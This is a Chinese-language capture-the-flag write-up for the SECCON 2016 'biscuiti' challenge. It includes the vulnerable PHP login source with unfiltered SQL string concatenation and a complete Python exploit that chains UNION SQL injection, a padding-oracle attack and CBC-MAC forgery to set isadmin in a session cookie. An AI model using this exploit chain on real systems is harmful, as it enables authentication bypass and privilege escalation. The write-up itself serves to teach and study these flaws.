Seccon CTF 2016 biscuiti writeup

附dalao鏈接:https://blog.tinduong.pw/2016/12/11/seccon-quals-2016-biscuiti-web-crypto-300-write-up/
其他題目的wp寫在另一篇文章裏面:http://blog.csdn.net/qq_19876131/article/details/53675162

web300 biscuiti

這道題我單獨挑出來發博客,因爲折騰了我快一天,而且遇到的問題都是絕對不該犯的錯誤,真是暴躁,不過題目質量本身還是相當高的。

一道web+padding oracle的題目。但是我的大部分時間都花在調自己的腳本上了,暴露出平時寫代碼的習慣太差了,各種細節問題接二連三。真是爆炸

首先拿到源碼,本地的sqlite環境有點問題,怎麼也連不上,所以簡單改了改換成了mysql。應該影響不大吧。。大概。。。

簡單改成mysql數據庫後源碼如下:

<?php
error_reporting(0);
define("ENC_KEY", "abcdcensoreddefg");
define("ENC_METHOD", "aes-128-cbc");

if (!extension_loaded('pdo_sqlite')) {
    header("Content-type: text/plain");
    echo "PDO Driver for SQLite is not installed.";
    exit;
}
if (!extension_loaded('openssl')) {
    header("Content-type: text/plain");
    echo "OpenSSL extension is not installed.";
    exit;
}

/*
Setup:
CREATE TABLE user (
username VARCHAR(255),
enc_password VARCHAR(255),
isadmin BOOLEAN
);
INSERT INTO user VALUES ("admin", "***censored***", 1);
*/
// 加密之後base64
function auth($enc_password, $input) {
    $enc_password = base64_decode($enc_password);
    $iv = substr($enc_password, 0, 16);
    $c = substr($enc_password, 16);
    #echo $c."<br>".$v;
    $password = openssl_decrypt($c, ENC_METHOD, ENC_KEY, OPENSSL_RAW_DATA, $iv);
    return $password == $input;
}

function mac($input) {
    $iv = str_repeat("\0", 16);
    $c = openssl_encrypt($input, ENC_METHOD, ENC_KEY, OPENSSL_RAW_DATA, $iv);
    return substr($c, -16);
}

function save_session() {
    global $SESSION;
    $j = serialize($SESSION);
    $u = $j . mac($j);
    setcookie("JSESSION", base64_encode($u));
}

function load_session() {
    global $SESSION;
    if (!isset($_COOKIE["JSESSION"]))
        return array();
    $u = base64_decode($_COOKIE["JSESSION"]);
    $j = substr($u, 0, -16);
    $t = substr($u, -16);
    if (mac($j) !== $t)
        return array(2);
    $SESSION = unserialize($j);
    //a:3:{s:4:"name";s:9:"bendawang";s:7:"isadmin";s:1:"1";s:8:"password";s:27:"bendawangbendawangbendawang";}
}

function _h($s) {
    return htmlspecialchars($s, ENT_QUOTES, "UTF-8");
}
function mysql_conn()
{
    $conn=@mysql_connect('localhost','root','1') or die('could not connect'.mysql_error());
    mysql_query('use test');
    mysql_query("SET character_set_connection=utf8, character_set_results=utf8,character_set_client=utf8", $conn);
    return $conn;
}


function login_page($message = NULL) {
?><!doctype html>
<html>
<head><title>Login</title></head>
<body>
<?php
    if (isset($message)) {
        echo "  <div>" . _h($message) . "</div>\n";
    }
?>
  <form method="POST">
    <div>
      <label>username</label>
      <input type="text" name="username">
    </div>
    <div>
      <label>password</label>
      <input type="password" name="password">
    </div>
    <input type="submit" value="login">
  </form>
</body>
</html>
<?php
      exit;
}

function info_page() {
    global $SESSION;
?><!doctype html>
<html>
<head><title>Login</title></head>
<body>
<?php
    printf("Hello %s\n", _h($SESSION["name"]));
    if ($SESSION["isadmin"])
        echo 'get flag!!';
?>
<div><a href="logout.php">Log out</a></div>
</body>
</html>
<?php
      exit;
}

if (isset($_POST['username']) && isset($_POST['password'])) {
    $username = (string)$_POST['username'];
    $password = (string)$_POST['password'];
    $dbh =mysql_conn();
    #echo "SELECT username, enc_password from user WHERE username='{$username}'";
    $result = mysql_query("SELECT username, enc_password from user WHERE username='{$username}'");

    if (!$result) {
        login_page("error");
        /* DEBUG
        $info = $dbh->errorInfo();
        login_page($info[2]);
        //*/
    }
    $u = mysql_fetch_array($result);
    if ($u && auth($u["enc_password"], $password)) {
        $SESSION["name"] = $u['username'];
        $SESSION["isadmin"] = $u['isadmin'];
        save_session();
        info_page();
    }
    else {
        login_page("error");
    }
}
else {
    load_session();
    if (isset($SESSION["name"])) {
        info_page();
    }
    else {
        login_page();
    }
}

功能大概總結下:

  • 1、首先如果正常登陸通過查詢query(“SELECT username,enc_password from user WHERE username ='{$ username}'”)從數據庫檢索用戶名和相應的加密密碼,其中加密密碼格式是IV||cipher

  • 2、登陸結果是AES-128-CBC解密enc_password,然後與輸入進行對比。登陸成功的話會初始化$SESSION數組

  • 3、COOKIE的格式,

    • $j = serialize($SESSION)

    • JSESSION =base64_encode( $j || MAC($j) )

    • mac函數是以16個空字節爲IV加密輸入的字符串,並且返回加密結果的後16位。

  • 4、當$SESSION[“isadmin”]爲真的時候我們會獲取到flag

所以大概目的也就明確了,我們要想辦法構造使得我們的$SESSION[“isadmin”]的值爲真。

0x01 存在sqli

首先我們很容易看到輸入的點沒有任何過濾,也就意味着存在sql注入,並且登陸的時候是會觸發解密過程的,而且sql注入使得我們可以通過聯合注入控制查詢返回的結果,這也就滿足padding oracle的條件。

比如我們輸入如下的值:(這裏我們看到我們的用戶名長度相當長,待會兒會解釋爲什麼要設定爲這麼長)


username=' union select 'bendawangbendawangbendawang','bendawang&password=

使得password爲空,那麼服務器會觸發解密過程




function auth($enc_password, $input) {     //`$enc_password`即使`bendawang`,而$input則爲空

    $enc_password = base64_decode($enc_password);     

    $iv = substr($enc_password, 0, 16);

    $c = substr($enc_password, 16);

    #echo $c."<br>".$v;

    $password = openssl_decrypt($c, ENC_METHOD, ENC_KEY, OPENSSL_RAW_DATA, $iv);     //解密失敗,返回空。這裏我們可以控制`IV``cipher`,存在`padding_oracle_attack`

    return $password == $input;    //由於解密失敗,空等於空,驗證通過!!!

}

這樣我們就能正常登陸上去,但是我們無法獲取到flag,因爲聯合查詢無法控制$SESSION["isadmin"] = $u['isadmin'];

但是通過上面的poc,我們能夠獲取到一個cookie值。

這裏寫圖片描述

0x02 cookie值

下面的函數是對cookie值的處理。



function load_session() {

    global $SESSION;

    if (!isset($_COOKIE["JSESSION"]))

        return array();

    $u = base64_decode($_COOKIE["JSESSION"]);

    $j = substr($u, 0, -16);

    $t = substr($u, -16);

    if (mac($j) !== $t)

        return array(2);

    $SESSION = unserialize($j);

}

根據0x01我們拿到的一個cookie,base64解碼後如下:


a:2:{s:4:"name";s:27:"bendawangbendawangbendawang";s:7:"isadmin";N;}F

ÐÜGƒ6Ršçè

我們已知的cookie值的格式


$j = serialize($SESSION)

JSESSION =base64_encode( $j || MAC($j) )

0x03 開始搞事

現在,我們的目的已經明確了,我們是沒有辦法獲取到密鑰的,所以這也就決定了我們只能通過另一種方式修改cookie的值然後提交,使得驗證通過並且使$SESSION['isadmin']=1

首先我們已知什麼,已知AES加密的時候塊的大小N=16。

我們有一個cookie值,即我們知道全部的明文串,還有最後一塊明文被加密的到的密文塊

先把明文分塊如下:


P0:a:2:{s:4:"name";     ----> C0
P1:s:27:"bendawangb     ----> C1
P2:endawangbendawan     ----> C2
P3:g";s:7:"isadmin"     ----> C3
P4:;N;}                 ----> C4 (已知,cookie的末16位)

如上如所示,我們已知一塊的密文,加上所有的明文,我們可以通過padding_oracle恢復所有的密文塊,由於sql注入點,我們可控,既可以控制被解密的字符串。

這裏不講padding_oracle的具體原理了,需要的童鞋可以看我寫的另一篇blog:http://blog.csdn.net/qq_19876131/article/details/52674589

所以我們可以利用那裏進行padding_oracle_attack,然後以能否成功登陸判斷是否解密成功(PS:輸入的password要爲空),如果解密失敗,就能登陸成功,否則登錄失敗。

這樣我們有了全部的密文塊。

相當於我們已知了全部的P0-P4C0-C4

現在進入到重頭戲。

怎麼要使P4的值從P4 = ";N;}"變成P4' = ";b:1;}",並且修改C4爲多少的時候,使其能夠正常解密,從而反序列化之後$SESSION['isadmin']=1

先來看看我們的P2,不知道大家看出來沒有,整個P2塊都是原序列化字符串裏面的字符串格式的東西,這也就解釋了我們爲什麼最初登陸的時候用戶名要相當長才行。這樣子我們的P2我們可以隨便修改,只要最後能夠正常解密,那麼它都不會影響反序列化的結果。

這裏我們先修改P2的值如下:


P2' = P4' ^ C3 ^ C1     //待會就知道爲什麼會修改成這個值

然後我們保持其他地方都不變的話,然後重新發送請求得到新的cookie值,同樣通過padding_oracle我們能夠恢復出新的C2’,我們也很容易能夠看出來,用新的P2'加密,但是C0C1是不會變化的,我們來看看我們一值C2’的值是怎麼得來的


由於是CBC模式

C2' = Encrypto( P2' ^ C1 )

由上已知

P2' = P4' ^ C3 ^ C1

所以

C2' = Encrypto( P2' ^ C1 )

    = Encrypto(P4' ^ C3 ^ C1 ^ C1)

    = Encrypto(P4' ^ C3 )

有了上面的式子,我們再重新來,這次不修改P2了,這次我們只修改P4P4'


由於是CBC模式

C4'=Encrypto( P4' ^ C3 )=C2'

所以這就出來了,我們只修改P4對應新的C4’和只修改P2恢復出的C2'是相等的,那麼這就搞定了。

0x04 代碼

就剩寫代碼,下面附上我自己寫的代碼,寫的很挫,而且中間犯了各式各樣奇奇怪怪的錯誤,還是自己的代碼習慣太差了,慢慢改正把

# encoding:utf-8
import requests
import base64
url='http://biscuiti.pwn.seccon.jp/'
N=16

def inject(password):
    param={'username':"' union select 'bendawangbendawangbendawang','{password}".format(password=password),'password':''}
    result=requests.post(url,data=param)
    return result

def xor(a, b):
    return "".join([chr(ord(a[i])^ord(b[i%len(b)])) for i in xrange(len(a))])

def pad(string,N):
    l=len(string)
    if l!=N:
        return string+chr(N-l)*(N-l)

def padding_oracle(N,cipher,plaintext):
    get=""
    for i in xrange(1,N+1):
        for j in xrange(0,256):
            padding=xor(get,chr(i)*(i-1))
            c='a'*(16-i)+chr(j)+padding+cipher
            result=inject(base64.b64encode(chr(0)*16+c))
            if "Hello" not in result.content:
                get=chr(j^i)+get
                print get.encode('hex')
                break
    return xor(get,plaintext)


jsession=inject("bendawang").headers['set-cookie'].split('=')[1].replace("%3D",'=').replace("%2F",'/').replace("%2B",'+').decode('base64')

serialize=jsession[:-16]
print serialize
p=[]
for i in xrange(0,len(serialize),16):
    p.append(serialize[i:i+16])
l=len(p)
p[l-1]=pad(p[l-1],N)
c=[""]*l
c[l-1]=jsession[-16:]

for i in xrange(l-1,0,-1):
    c[i-1]=padding_oracle(N,c[i],p[i])

#c=['\x88\xbb|I1e\x1c\xb9u\xe4\x8e\x90\x08\xc1\xa9\x11', 'sd\x0c2\x13i\xac\xfd\x16\x9e\xa8\xc5?\x07/\xe5', '>\xbfZX\xda\x10\x99^\xd9\xa3\x15\xa9\\Q-\x9e', '\xf5;\xc6\x1cn\x0f\xe5\x1bJ{\x08\x00\xbd\x8d\x17\x18', '\xd0PP\xbfK\x8b:\x12\xaa\xa8Et\x83\x12T\xe7']

p[4]=pad(';b:1;}',N)
p[2]=xor(xor(c[3],p[4]),c[1])
param={'username':"' union select 'bendawangb{new_p}g','bendawang".format(new_p=p[2]),'password':''}
result=requests.post(url,data=param)
#print p
jsession=result.headers['set-cookie'].split('=')[1].replace("%3D",'=').replace("%2F",'/').replace("%2B",'+').decode('base64')
print c
c=[""]*l
serialize=jsession[:-16]
p=[]
for i in xrange(0,len(serialize),16):
    p.append(serialize[i:i+16])
#print p
p[l-1]=pad(p[l-1],N)
c[l-1]=jsession[-16:]
for i in xrange(l-1,1,-1):
    c[i-1]=padding_oracle(N,c[i],p[i])
print c

new_jsession=base64.b64encode('a:2:{s:4:"name";s:27:"bendawangbendawangbendawang";s:7:"isadmin";b:1;}'+c[2])
header = {"Cookie":"JSESSION="+new_jsession}
r = requests.post(url, headers=header)
print r.content

運行截圖如下:

這裏寫圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章